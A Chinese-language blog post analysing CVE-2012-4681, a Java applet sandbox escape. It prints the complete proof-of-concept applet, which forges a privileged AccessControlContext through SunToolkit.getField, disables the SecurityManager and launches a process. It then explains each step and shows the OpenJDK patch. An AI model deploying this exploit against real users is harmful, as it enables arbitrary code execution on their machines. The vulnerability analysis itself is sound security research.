一、简介
cve-2012-4681是去年8月份爆出的java沙盒的漏洞。
漏洞是利用java的特性,从受
限制的沙盒代码中调用系统信任的代码,间接修改了java.beans.Statement类的参数
class="java" name="code">private final AccessControlContext acc = AccessController.getContext();
再利用不受任何限制的statement类,disable掉沙盒的securitymanager,从而执行任意的命令。是非常严重的本地执行漏洞。
具体的利用方式还是下面的英文描述比较简洁:
Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.SunToolkit, then (2) using "reflection with a trusted immediate caller" to leverage the getField method to access and
modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.
二、poc
该漏洞的poc如下:
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
//
// secret host / ip : ok.aa24.net / 59.120.154.62
//
// regurgitated by jduck
//
// probably a metasploit module soon...
//
package cve2012xxxx;
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
public class Gondvv extends Applet
{
public Gondvv()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void init()
{
try
{
disableSecurity();
Process localProcess = null;
localProcess = Runtime.getRuntime().exec("calc.exe");
if(localProcess != null);
localProcess.waitFor();
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading", 50, 25);
}
}
在浏览器中正确运行该applet,可以弹出计算器。(限定windows系统 )
三、poc分析
从poc的源代码可以看出,该poc的关键点在于disableSecurity()这个函数。
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1])
//首先定义一个statement,该statement用于调用System.setSecurityManager(null),从而将当前沙盒的保护者---SecurityManager干掉
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
// 定义一个拥有所有特权的AccessControlContext对象
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
// 使用特权的AccessControlContext替换statement中的acc变量,从而使当前的statement实例拥有特权,在调用System.setSecurityManager(null)的时候不会被沙盒拦截
localStatement.execute();
}
突破沙盒的关键在于将Statement中的acc变量,替换为高权限的acc,而替换的方式便在SetField这个函数中。
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
// GetClass函数其实就是用反射的方式调用了Class.forName的方法,获取了sun.awt.SunToolkit实例.Expression表达式进一步调用了sun.awt.SunToolkit的代码,执行了其中的getField函数,这个函数返回的结果就是statement实例的acc变量
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
// 将其赋值
}
为了更明确的弄清这个问题,我们可以反过来思考。
过程如下:
1、首先我们已经知道了我们的目的,就是突破沙盒执行任意java代码。沙盒是由securityManager保护的,我们干掉他就大功告成
2、Statement类可以利用反射的方式执行java代码,但是它有一个成员变量叫acc,实例其实是一个accessControlContext。我们直接用statement执行
高权限的代码是不行的,因为会被acc所获取的当前沙盒的权限所限制。如果我们把acc这玩意儿替换掉,就能执行任意代码了,其中就包括干掉securitymanager。这其中就一个困难点就是acc变量时private的。
3、我们
发现有一个类可以帮我们达成这个目的,sun.awt.SunToolkit中有一个叫做getField的方法,这个方法可以修改任意对象的任意成员变量。
4、现在的问题就变成了,如何调用getField方法。对于applet中的代码来说,sun.*.*下面的包是不能直接访问,如果直接访问会产生如下图所示的
错误。
于是这个问题就化简成两点:1、获取sun.awt.SunToolkit实例。 2、调用该实例的getField方法。(跟doPrivileged没啥关系)
"reflection with a trusted immediate caller",这个java特性帮我们解决了这两个问题。
http://www.oracle.com/technetwork/java/seccodeguide-139067.html 这篇文章的9-8解释了这个问题。
http://security.stackexchange.com/questions/19565/why-do-some-java-apis-bypass-standard-securitymanager-checks/37920#37920
这篇提问的答案则解释了为什么会有"reflection with a trusted immediate caller"这个特性
四、修补方式
查看源码可以知道修补方式
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/2c58f14f60c7
--- a/src/share/classes/com/sun/beans/finder/MethodFinder.java Mon Aug 13 14:20:05 2012 -0700
+++ b/src/share/classes/com/sun/beans/finder/MethodFinder.java Tue Jun 19 20:06:56 2012 +0400
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2008, 2011, Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2008, 2012, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
@@ -33,6 +33,8 @@ import java.lang.reflect.Type;
import java.lang.reflect.Type;
import java.util.Arrays;
+import static sun.reflect.misc.ReflectUtil.isPackageAccessible;
+
/**
* This utility class provides {@code static} methods
* to find a public method with specified name and parameter types
@@ -120,7 +122,7 @@ public final class MethodFinder extends
*/
public static Method findAccessibleMethod(Method method) throws NoSuchMethodException {
Class<?> type = method.getDeclaringClass();
- if (Modifier.isPublic(type.getModifiers())) {
+ if (Modifier.isPublic(type.getModifiers()) && isPackageAccessible(type)) {
return method;
}
if (Modifier.isStatic(method.getModifiers())) {
添加了isPackageAccessible(type)这个校验,这样就没有办法在低权限的代码中调用高权限的方法了。
五、其他
该漏洞的补丁其实只补了ConstructorFinder/FieldFinder/MethodFinder三个类,但是并没有涉及到ClassFinder,有意思的是下一次更改就修补了ClassFinder(http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/dfffff29f870),修补说明是
XMLDecoder security issue via ClassFinder.
这个漏洞被定义为CVE-2012-1682,目前为止我还没有找到poc.。
- 大小: 15 KB